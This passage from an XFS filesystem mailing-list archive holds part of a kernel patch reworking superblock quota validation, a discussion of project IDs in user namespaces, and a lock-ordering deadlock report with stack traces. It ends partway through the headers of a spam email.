front before checking anything else. + * kernel cannot support up front before checking anything else. For + * write validation, we don't need to check feature masks. */ if (check_version && XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) { xfs_alert(mp, @@ -179,12 +212,17 @@ xfs_mount_validate_sb( } } - if ((sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) && - (sbp->sb_qflags & (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD | - XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD))) { - xfs_warn(mp, -"Super block has XFS_OQUOTA bits along with XFS_PQUOTA and/or XFS_GQUOTA bits.\n"); - return XFS_ERROR(EFSCORRUPTED); + if (xfs_sb_version_has_pquotino(sbp)) { + if (sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) { + xfs_notice(mp, + "Version 5 of Super block has XFS_OQUOTA bits.\n"); + return XFS_ERROR(EFSCORRUPTED); + } + } else if (sbp->sb_qflags & (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD | + XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD)) { + xfs_notice(mp, +"Superblock earlier than Version 5 has XFS_[PQ]UOTA_{ENFD|CHKD} bits.\n"); + return XFS_ERROR(EFSCORRUPTED); } if (unlikely( @@ -251,6 +289,13 @@ xfs_mount_validate_sb( return XFS_ERROR(ENOSYS); } + if (xfs_sb_validate_fsb_count(sbp, sbp->sb_dblocks) || + xfs_sb_validate_fsb_count(sbp, sbp->sb_rblocks)) { + xfs_warn(mp, + "file system too large to be mounted on this system."); + return XFS_ERROR(EFBIG); + } + /* * Version 1 directory format has never worked on Linux. */ @@ -263,8 +308,57 @@ xfs_mount_validate_sb( } void +xfs_sb_quota_from_disk(struct xfs_sb *sbp) +{ + /* + * older mkfs doesn't initialize quota inodes to NULLFSINO. This + * leads to in-core values having two different values for a quota + * inode to be invalid: 0 and NULLFSINO. Change it to a single value + * NULLFSINO. + * + * Note that this change affect only the in-core values. These + * values are not written back to disk unless any quota information + * is written to the disk. Even in that case, sb_pquotino field is + * not written to disk unless the superblock supports pquotino. + */ + if (sbp->sb_uquotino == 0) + sbp->sb_uquotino = NULLFSINO; + if (sbp->sb_gquotino == 0) + sbp->sb_gquotino = NULLFSINO; + if (sbp->sb_pquotino == 0) + sbp->sb_pquotino = NULLFSINO; + + /* + * We need to do these manipilations only if we are working + * with an older version of on-disk superblock. + */ + if (xfs_sb_version_has_pquotino(sbp)) + return; + + if (sbp->sb_qflags & XFS_OQUOTA_ENFD) + sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? + XFS_PQUOTA_ENFD : XFS_GQUOTA_ENFD; + if (sbp->sb_qflags & XFS_OQUOTA_CHKD) + sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? + XFS_PQUOTA_CHKD : XFS_GQUOTA_CHKD; + sbp->sb_qflags &= ~(XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD); + + if (sbp->sb_qflags & XFS_PQUOTA_ACCT) { + /* + * In older version of superblock, on-disk superblock only + * has sb_gquotino, and in-core superblock has both sb_gquotino + * and sb_pquotino. But, only one of them is supported at any + * point of time. So, if PQUOTA is set in disk superblock, + * copy over sb_gquotino to sb_pquotino. + */ + sbp->sb_pquotino = sbp->sb_gquotino; + sbp->sb_gquotino = NULLFSINO; + } +} + +void xfs_sb_from_disk( - xfs_sb_t *to, + struct xfs_sb *to, xfs_dsb_t *from) { to->sb_magicnum = be32_to_cpu(from->sb_magicnum); @@ -323,37 +417,6 @@ xfs_sb_from_disk( to->sb_lsn = be64_to_cpu(from->sb_lsn); } -static void -xfs_sb_quota_from_disk(struct xfs_sb *sbp) -{ - /* - * We need to do these manipilations only if we are working - * with an older version of on-disk superblock. - */ - if (xfs_sb_version_has_pquotino(sbp)) - return; - - if (sbp->sb_qflags & XFS_OQUOTA_ENFD) - sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? - XFS_PQUOTA_ENFD : XFS_GQUOTA_ENFD; - if (sbp->sb_qflags & XFS_OQUOTA_CHKD) - sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? - XFS_PQUOTA_CHKD : XFS_GQUOTA_CHKD; - sbp->sb_qflags &= ~(XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD); - - if (sbp->sb_qflags & XFS_PQUOTA_ACCT) { - /* - * In older version of superblock, on-disk superblock only - * has sb_gquotino, and in-core superblock has both sb_gquotino - * and sb_pquotino. But, only one of them is supported at any - * point of time. So, if PQUOTA is set in disk superblock, - * copy over sb_gquotino to sb_pquotino. - */ - sbp->sb_pquotino = sbp->sb_gquotino; - sbp->sb_gquotino = NULLFSINO; - } -} - static inline void xfs_sb_quota_to_disk( xfs_dsb_t *to, @@ -427,7 +490,6 @@ xfs_sb_to_disk( return; xfs_sb_quota_to_disk(to, from, &fields); - while (fields) { f = (xfs_sb_field_t)xfs_lowbit64((__uint64_t)fields); first = xfs_sb_info[f].offset; @@ -441,15 +503,15 @@ xfs_sb_to_disk( switch (size) { case 2: *(__be16 *)(to_ptr + first) = - cpu_to_be16(*(__u16 *)(from_ptr + first)); + cpu_to_be16(*(__u16 *)(from_ptr + first)); break; case 4: *(__be32 *)(to_ptr + first) = - cpu_to_be32(*(__u32 *)(from_ptr + first)); + cpu_to_be32(*(__u32 *)(from_ptr + first)); break; case 8: *(__be64 *)(to_ptr + first) = - cpu_to_be64(*(__u64 *)(from_ptr + first)); + cpu_to_be64(*(__u64 *)(from_ptr + first)); break; default: ASSERT(0); @@ -470,8 +532,6 @@ xfs_sb_verify( xfs_sb_from_disk(&sb, XFS_BUF_TO_SBP(bp)); - xfs_sb_quota_from_disk(&sb); - /* * Only check the in progress field for the primary superblock as * mkfs.xfs doesn't clear it from secondary superblocks. @@ -514,7 +574,8 @@ xfs_sb_read_verify( out_error: if (error) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, + mp, bp->b_addr); xfs_buf_ioerror(bp, error); } } @@ -522,7 +583,7 @@ out_error: /* * We may be probed for a filesystem match, so we may not want to emit * messages when the superblock buffer is not actually an XFS superblock. - * If we find an XFS superblock, the run a normal, noisy mount because we are + * If we find an XFS superblock, then run a normal, noisy mount because we are * really going to mount it and want to know about errors. */ static void @@ -551,7 +612,8 @@ xfs_sb_write_verify( error = xfs_sb_verify(bp, false); if (error) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, + mp, bp->b_addr); xfs_buf_ioerror(bp, error); return; } @@ -571,7 +633,7 @@ const struct xfs_buf_ops xfs_sb_buf_ops = { .verify_write = xfs_sb_write_verify, }; -static const struct xfs_buf_ops xfs_sb_quiet_buf_ops = { +const struct xfs_buf_ops xfs_sb_quiet_buf_ops = { .verify_read = xfs_sb_quiet_read_verify, .verify_write = xfs_sb_write_verify, }; @@ -582,11 +644,11 @@ static const struct xfs_buf_ops xfs_sb_quiet_buf_ops = { * Mount initialization code establishing various mount * fields from the superblock associated with the given * mount structure - * - * Note: this requires user-space public scope for libxfs_mount */ void -xfs_mount_common(xfs_mount_t *mp, xfs_sb_t *sbp) +xfs_sb_mount_common( + struct xfs_mount *mp, + struct xfs_sb *sbp) { mp->m_agfrotor = mp->m_agirotor = 0; spin_lock_init(&mp->m_agirotor_lock); @@ -628,11 +690,11 @@ xfs_mount_common(xfs_mount_t *mp, xfs_sb_t *sbp) * allocated inodes, free inodes and used filesystem blocks as this * information is no longer persistent in the superblock. Once we have * this information, write it into the in-core superblock structure. - * - * Note: this requires user-space public scope for libxfs_mount */ int -xfs_initialize_perag_data(xfs_mount_t *mp, xfs_agnumber_t agcount) +xfs_initialize_perag_data( + struct xfs_mount *mp, + xfs_agnumber_t agcount) { xfs_agnumber_t index; xfs_perag_t *pag; @@ -705,6 +767,7 @@ xfs_mod_sb(xfs_trans_t *tp, __int64_t fields) last = 0; /* translate/copy */ + xfs_sb_to_disk(XFS_BUF_TO_SBP(bp), &mp->m_sb, fields); /* find modified range */ From gaofeng@cn.fujitsu.com Mon Sep 9 20:18:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CE0F77F5D for ; Mon, 9 Sep 2013 20:18:57 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 89D62304059 for ; Mon, 9 Sep 2013 18:18:57 -0700 (PDT) X-ASG-Debug-ID: 1378775935-04bdf02f23eb2210001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id 8bp4pMJ782OPyG6u for ; Mon, 09 Sep 2013 18:18:56 -0700 (PDT) X-Barracuda-Envelope-From: gaofeng@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.90,874,1371052800"; d="scan'208";a="8467232" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 10 Sep 2013 09:15:45 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id r8A1IrhB013115; Tue, 10 Sep 2013 09:18:53 +0800 Received: from [10.167.226.30] ([10.167.226.30]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2013091009163591-1360385 ; Tue, 10 Sep 2013 09:16:35 +0800 Message-ID: <522E73D4.1080805@cn.fujitsu.com> Date: Tue, 10 Sep 2013 09:20:20 +0800 From: Gao feng User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dave Chinner CC: bfoster@redhat.com, dwight.engen@oracle.com, ebiederm@xmission.com, xfs@oss.sgi.com Subject: Re: [PATCH 0/4] xfs: Allow user to change project id in un-init userns References: <1378276717-9663-1-git-send-email-gaofeng@cn.fujitsu.com> <20130906013033.GB23571@dastard> <20130910004210.GX12779@dastard> X-ASG-Orig-Subj: Re: [PATCH 0/4] xfs: Allow user to change project id in un-init userns In-Reply-To: <20130910004210.GX12779@dastard> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/09/10 09:16:35, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/09/10 09:16:36, Serialize complete at 2013/09/10 09:16:36 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1378775935 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140486 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 09/10/2013 08:42 AM, Dave Chinner wrote: > On Fri, Sep 06, 2013 at 11:30:33AM +1000, Dave Chinner wrote: >> On Wed, Sep 04, 2013 at 02:38:33PM +0800, Gao feng wrote: >>> This patchset add two helper functions to convert user space project id >>> to kernel space project id without any struct changed. >>> >>> Since the projid_map of user namespace has limit the range of valid project >>> ids for user namespace, we can safely allow user to change file's project >>> id in un-init user namespace. >> >> This doesn't address any of the concerns about whether access to >> project IDs are valid in a user namaspacee environment. >> >> Project IDs are not the same as UIDs and GIDs. They got included in >> all the mapping stuff because of the fact that they are used for >> quotas, but the fact is that they are not a property owned by a user >> or a group or control access. >> >> IOWs, project IDs are an *accounting* construct rather than an >> *access control mechanism* If project IDs are being used by the >> system administrators for accounting the space used by a *mount >> namespace* container, then they must not be modifiable by a user >> in a user namespace. >> >> This is a fundamentally different use case from UID/GID mapping, >> because there is no possible competing access for on-disk uid/gid >> fields possible from the initns like there is for project quotas. >> IOWs, project quota IDs are not owned by a namespace, and so mapping >> them like we do for UID/GID is not clearly the right solution for >> everyone. >> >> So, there's a bigger policy issue here that needs to be decided >> first. i.e. whether project quotas and therefore project IDs should >> be accessible to users inside a user namespace. >> >> If we decide to make it optional so that a system administrator can >> chose whether project IDs are to be mapped via the userns mapping >> infrastructure, then we need some kind of infrastructure to support >> and enforce that first. > > BTW, if we are making project IDs mapped to userns, stuff like > XFS_PROJID_DEFAULT and project ID inheritence need work as well... > Yes, let's make it simple, if we find some cases that we have to make project IDs mapped to userns, let's restart this work :) Thanks From david@fromorbit.com Tue Sep 10 02:36:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7B2B97F5D for ; Tue, 10 Sep 2013 02:36:37 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id EC537AC002 for ; Tue, 10 Sep 2013 00:36:36 -0700 (PDT) X-ASG-Debug-ID: 1378798594-04cbb02c3be81480001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 4yxPcFq5sJUvMdrl for ; Tue, 10 Sep 2013 00:36:35 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjoIAJPKLlJ5Lapl/2dsb2JhbABTCIMHg0q6OYZcF3SCZhw7JDQFJQM0G4dmoE2hHhaOCIRhgQADlByDWZFsgzIq Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail06.adl6.internode.on.net with ESMTP; 10 Sep 2013 17:06:33 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VJIUv-00055I-2E for xfs@oss.sgi.com; Tue, 10 Sep 2013 17:36:29 +1000 Date: Tue, 10 Sep 2013 17:36:29 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [deadlock] AGI vs AGF ordering deadlocks Message-ID: <20130910073629.GA19103@dastard> X-ASG-Orig-Subj: [deadlock] AGI vs AGF ordering deadlocks MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1378798594 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140492 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- FOlks, I just got confirmation of a deadlock I suspected has existed for some time. A concurrent 16-way create and 16-way unlink just locked up with two threads looking like this: fs_mark D ffff88021bd931c0 3656 7204 7117 0x00000000 ffff8801e75293a8 0000000000000086 ffff88012c6d0000 ffff8801e7529fd8 ffff8801e7529fd8 ffff8801e7529fd8 ffff8802d32aae40 ffff88012c6d0000 ffff8801a2f79d40 7fffffffffffffff ffff8801ee733bb0 0000000000000002 Call Trace: [] schedule+0x29/0x70 [] schedule_timeout+0x149/0x1f0 [] __down_common+0x91/0xe8 [] __down+0x1d/0x1f [] down+0x41/0x50 [] xfs_buf_lock+0x40/0xf0 [] _xfs_buf_find+0x1d1/0x4d0 [] xfs_buf_get_map+0x35/0x180 [] xfs_buf_read_map+0x37/0x110 [] xfs_trans_read_buf_map+0x379/0x600 [] xfs_read_agf+0xa8/0x100 [] xfs_alloc_read_agf+0x6a/0x250 [] xfs_alloc_fix_freelist+0x4f0/0x5a0 [] xfs_alloc_vextent+0x440/0x840 [] xfs_ialloc_ag_alloc+0x13f/0x520 [] xfs_dialloc+0x121/0x2d0 [] xfs_ialloc+0x5b/0x7c0 [] xfs_dir_ialloc+0x9a/0x2f0 [] xfs_create+0x47d/0x6a0 [] xfs_vn_mknod+0xba/0x1c0 [] xfs_vn_create+0x13/0x20 [] vfs_create+0xb5/0xf0 [] do_last.isra.56+0x760/0xd10 [] path_openat+0xbe/0x620 [] do_filp_open+0x43/0xa0 [] do_sys_open+0x13c/0x230 [] SyS_open+0x22/0x30 [] system_call_fastpath+0x16/0x1b That a thread holding an AGI and blocking trying to get the AGF to do an inode chunk allocation. rm D ffff88021bd931c0 3048 7073 7063 0x00000000 ffff8802bc66d998 0000000000000086 ffff8802d32aae40 ffff8802bc66dfd8 ffff8802bc66dfd8 ffff8802bc66dfd8 ffff88012c6d5c80 ffff8802d32aae40 ffff8804091b2b00 7fffffffffffffff ffff8801b943c570 0000000000000002 Call Trace: [] schedule+0x29/0x70 [] schedule_timeout+0x149/0x1f0 [] __down_common+0x91/0xe8 [] __down+0x1d/0x1f [] down+0x41/0x50 [] xfs_buf_lock+0x40/0xf0 [] _xfs_buf_find+0x1d1/0x4d0 [] xfs_buf_get_map+0x35/0x180 [] xfs_buf_read_map+0x37/0x110 [] xfs_trans_read_buf_map+0x379/0x600 [] xfs_read_agi+0xaa/0x100 [] xfs_iunlink+0x8e/0x260 [] xfs_droplink+0x78/0x80 [] xfs_remove+0x331/0x420 [] xfs_vn_unlink+0x52/0xa0 [] vfs_unlink+0x9e/0x110 [] do_unlinkat+0x1a1/0x230 [] SyS_unlinkat+0x1b/0x40 And that's a thread that has just freed a directory block and so holds an AGF lock, and is trying to take the AGI lock to add the inode to the unlinked list. Everything else is now stuck waiting for log space because one of the two buffers we've deadlocked on here pins the tail of the log. The solution is to place the inode on the unlinked list before we remove the directory entry so that we keep the same locking order as inode allocation. I don't have time to look at this for at least a week, so if someone could work up solution that'd be wonderful... Cheers, Dave. -- Dave Chinner david@fromorbit.com From jeff.liu@oracle.com Tue Sep 10 02:57:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 88F097F5F for ; Tue, 10 Sep 2013 02:57:51 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 214E0AC002 for ; Tue, 10 Sep 2013 00:57:51 -0700 (PDT) X-ASG-Debug-ID: 1378799869-04bdf02f20ec6040001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id B2BkyfyUkImvStBg (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Sep 2013 00:57:49 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r8A7vlP3028910 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 10 Sep 2013 07:57:48 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8A7vkrq001601 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 10 Sep 2013 07:57:46 GMT Received: from abhmt110.oracle.com (abhmt110.oracle.com [141.146.116.62]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8A7vk7a023148; Tue, 10 Sep 2013 07:57:46 GMT Received: from [192.168.1.104] (/123.119.98.13) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 10 Sep 2013 00:57:45 -0700 Message-ID: <522ED124.4080502@oracle.com> Date: Tue, 10 Sep 2013 15:58:28 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [deadlock] AGI vs AGF ordering deadlocks References: <20130910073629.GA19103@dastard> X-ASG-Orig-Subj: Re: [deadlock] AGI vs AGF ordering deadlocks In-Reply-To: <20130910073629.GA19103@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1378799869 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140492 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 09/10/2013 03:36 PM, Dave Chinner wrote: > FOlks, > > I just got confirmation of a deadlock I suspected has existed for > some time. A concurrent 16-way create and 16-way unlink just locked > up with two threads looking like this: > > fs_mark D ffff88021bd931c0 3656 7204 7117 0x00000000 > ffff8801e75293a8 0000000000000086 ffff88012c6d0000 ffff8801e7529fd8 > ffff8801e7529fd8 ffff8801e7529fd8 ffff8802d32aae40 ffff88012c6d0000 > ffff8801a2f79d40 7fffffffffffffff ffff8801ee733bb0 0000000000000002 > Call Trace: > [] schedule+0x29/0x70 > [] schedule_timeout+0x149/0x1f0 > [] __down_common+0x91/0xe8 > [] __down+0x1d/0x1f > [] down+0x41/0x50 > [] xfs_buf_lock+0x40/0xf0 > [] _xfs_buf_find+0x1d1/0x4d0 > [] xfs_buf_get_map+0x35/0x180 > [] xfs_buf_read_map+0x37/0x110 > [] xfs_trans_read_buf_map+0x379/0x600 > [] xfs_read_agf+0xa8/0x100 > [] xfs_alloc_read_agf+0x6a/0x250 > [] xfs_alloc_fix_freelist+0x4f0/0x5a0 > [] xfs_alloc_vextent+0x440/0x840 > [] xfs_ialloc_ag_alloc+0x13f/0x520 > [] xfs_dialloc+0x121/0x2d0 > [] xfs_ialloc+0x5b/0x7c0 > [] xfs_dir_ialloc+0x9a/0x2f0 > [] xfs_create+0x47d/0x6a0 > [] xfs_vn_mknod+0xba/0x1c0 > [] xfs_vn_create+0x13/0x20 > [] vfs_create+0xb5/0xf0 > [] do_last.isra.56+0x760/0xd10 > [] path_openat+0xbe/0x620 > [] do_filp_open+0x43/0xa0 > [] do_sys_open+0x13c/0x230 > [] SyS_open+0x22/0x30 > [] system_call_fastpath+0x16/0x1b > > That a thread holding an AGI and blocking trying to get the AGF to > do an inode chunk allocation. > > rm D ffff88021bd931c0 3048 7073 7063 0x00000000 > ffff8802bc66d998 0000000000000086 ffff8802d32aae40 ffff8802bc66dfd8 > ffff8802bc66dfd8 ffff8802bc66dfd8 ffff88012c6d5c80 ffff8802d32aae40 > ffff8804091b2b00 7fffffffffffffff ffff8801b943c570 0000000000000002 > Call Trace: > [] schedule+0x29/0x70 > [] schedule_timeout+0x149/0x1f0 > [] __down_common+0x91/0xe8 > [] __down+0x1d/0x1f > [] down+0x41/0x50 > [] xfs_buf_lock+0x40/0xf0 > [] _xfs_buf_find+0x1d1/0x4d0 > [] xfs_buf_get_map+0x35/0x180 > [] xfs_buf_read_map+0x37/0x110 > [] xfs_trans_read_buf_map+0x379/0x600 > [] xfs_read_agi+0xaa/0x100 > [] xfs_iunlink+0x8e/0x260 > [] xfs_droplink+0x78/0x80 > [] xfs_remove+0x331/0x420 > [] xfs_vn_unlink+0x52/0xa0 > [] vfs_unlink+0x9e/0x110 > [] do_unlinkat+0x1a1/0x230 > [] SyS_unlinkat+0x1b/0x40 > > And that's a thread that has just freed a directory block and so > holds an AGF lock, and is trying to take the AGI lock to add the > inode to the unlinked list. Everything else is now stuck waiting > for log space because one of the two buffers we've deadlocked on > here pins the tail of the log. > > The solution is to place the inode on the unlinked list before we > remove the directory entry so that we keep the same locking order as > inode allocation. > > I don't have time to look at this for at least a week, so if someone > could work up solution that'd be wonderful... Although I can reproduce it for now, but it looks interesting to me. I'll take care of this problem. Thanks, -Jeff From wse.krishan@gmail.com Tue Sep 10 04:33:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A8EE47F5D for ; Tue, 10 Sep 2013 04:33:57 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 951048F8065 for ; Tue, 10 Sep 2013 02:33:54 -0700 (PDT) X-ASG-Debug-ID: 1378805629-04cb6c2e9de98f40001-NocioJ Received: from mail-pd0-f180.google.com (mail-pd0-f180.google.com [209.85.192.180]) by cuda.sgi.com with ESMTP id gF9mOgBuWeJmjL0z (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 10 Sep 2013 02:33:50 -0700 (PDT) X-Barracuda-Envelope-From: wse.krishan@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.180 Received: by mail-pd0-f180.google.com with SMTP id y10so7343482pdj.25 for ; Tue, 10 Sep 2013 02:33:49 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:from:reply-to:to:subject:content-type :content-transfer-encoding:date:message-id :disposition-notification-to; bh=QjzFhRqzZkHBP+HDkzSFRcyyXyZAl+mucl59RUv2XTE=; b=CHIYdT/MNDyxpc63oVvIc9QY3KnVESwz+NMPLLldobONXgzAxBuvyNVf7lJwdoGWN7 2QxkpEv0HbhWhvcwqPcapWCHOggPZcjgoVYnEqFjEkl+X0LLwaKkwpdadjMI8y6PvoK2 gSo67XzGqrmqG8K81yI2WzElbSq52zekChloLqOAxEWud+vCD2s8azorNDwLF6pybCp5 BT7SKpXojQwlLromoHOb57TSteiK+AUk48rXWJyHepkHX+qaLjnfXW5mqghL28GuUXRi l2c/7TG5oP5zD2K1eAVzkajibBmCbTvI0oNetWeD6AK46ZTonY5hv3Wpsyx7f9wzfxFH laJg== X-Barracuda-BBL-IP: nil X-Received: by 10.66.122.9 with SMTP id lo9mr7729351pab.161.1378805629678; Tue, 10 Sep 2013 02:33:49 -0700 (PDT) Received: from ABTS-North-Dynamic-155.34.162.122.airtelbroadband.in ([122.162.34.155]) by mx.google.com with ESMTPSA id py4sm21773100pbc.14.1969.12.31.16.00.00 (version=TLSv1 cipher=RC4-SHA bits=128/128); Tue, 10 Sep 2013 02:33:49 -0700 (PDT) X-Barracuda-Apparent-Source-IP: 122.162.34.155 MIME-Version: 1.0 From: "Krishan Kumar" Reply-To: wse.krishan@gmail.com To: xfs@oss.sgi.com Subject: Email Greeting for xfs@oss.sgi.com Guaranteed SEO & SMM services@ $250 Monthly only Content-Type: text/plain X-ASG-Orig-Subj: Email Greeting for xfs@oss.sgi.com Guaranteed SEO & SMM services@ $250 Monthly only Content-Transfer-Encoding: quoted-printable X-Mailer: Smart_Send_2_0_138 Date: Tue, 10 Sep 2013 15:03:41 +0530 Message-ID: <321623481321655153009@KrishanLaptop> Disposition-Notification-To: X-Barracuda-Connect: mail-pd0-f180.google.com[209.85.192.180] X-Barracuda-Start-Time: 1378805630 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.40 X-Barracuda-Spam-Status: No, SCORE=0.40 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA074b, DKIM_SIGNED, DKIM_VERIFIED, PR0N_SUBJECT X-Barracuda-Spam-Report: Code version 